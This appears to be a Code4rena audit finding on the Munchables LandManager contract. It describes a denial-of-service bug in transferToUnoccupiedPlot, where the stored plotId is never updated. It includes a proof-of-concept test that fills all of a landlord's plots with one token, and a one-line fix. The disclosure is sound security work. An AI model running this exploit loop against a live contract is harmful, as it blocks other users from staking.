Lines of code

https://github.com/code-423n4/2024-07-munchables/blob/94cf468aaabf526b7a8319f7eba34014ccebe7b9/src/managers/LandManager.sol#L199-L226

Vulnerability details

Impact

After staking one Munchable, the staker can make his landlord's all plots occupied by repeatedly transfering to unoccupied plots. As a result, staking Munchables to that landlord will be DoSed due to no unoccupied plot.

Proof of Concept

In the transferToUnoccupiedPlot() function, toilerState[tokenId] is updated as follows and latestTaxRate is the only updated field.

    function transferToUnoccupiedPlot(
        uint256 tokenId,
        uint256 plotId
    ) external override forceFarmPlots(msg.sender) notPaused {
        ... ...

        toilerState[tokenId].latestTaxRate = plotMetadata[_toiler.landlord]
            .currentTaxRate;
        .. ...
    }

Because toilerState[tokenId].plotId is not update, if a staker transfers one staked token multiple times, oldPlotId value in the function call never changes. Even after unstaking that token, the tracked plots remain occupied.

For example, let's assume a toiler stakes a token to Plot 1. And then he transfers his token to Plot 2, then transfers from Plot 2 to Plot 3, from Plot 3 to Plot 4, etc... In this case, oldPlotId in the transferToUnoccupiedPlot() call is always 1.

Consequently, all plots that were previously occupied remain in that state, leading to DoS on the staking of Munchables.

Test case of POC

A new test case is added to transferToUnoccupiedPlot.test.ts for PoC purpose.

    it("DoSing staking munchables", async () => {
      for (let i = 2; i < 100; i ++) {
        const { request } =
          await testContracts.landManagerProxy.contract.simulate.transferToUnoccupiedPlot([1, i], {
            account: bob,
          });
        const txHash = await testClient.writeContract(request);
        await assertTxSuccess({ txHash: txHash });
      }

      // Plot 3 - 100 are in occupied state
      for (let i = 3; i < 100; i ++) {
        await assert.rejects(
          testContracts.landManagerProxy.contract.simulate.stakeMunchable([alice, 2, i], {
            account: bob,
          }),
          (err: Error) => assertContractFunctionRevertedError(err, "OccupiedPlotError")
        );
      }
    });

Tools Used

Manual Review

Recommended Mitigation Steps

toilerState[tokenId].plotId should be updated with new plotId.

    function transferToUnoccupiedPlot(
        uint256 tokenId,
        uint256 plotId
    ) external override forceFarmPlots(msg.sender) notPaused {
        ... ...

        toilerState[tokenId].latestTaxRate = plotMetadata[_toiler.landlord]
            .currentTaxRate;
+       toilerState[tokenId].plotId = plotId;
        ... ...
    }

Assessed type

DoS

code-423n4 / 2024-07-munchables-findings

A Malicious Staker Can Occupy His Landlord's All Plots With Only One Munchable #289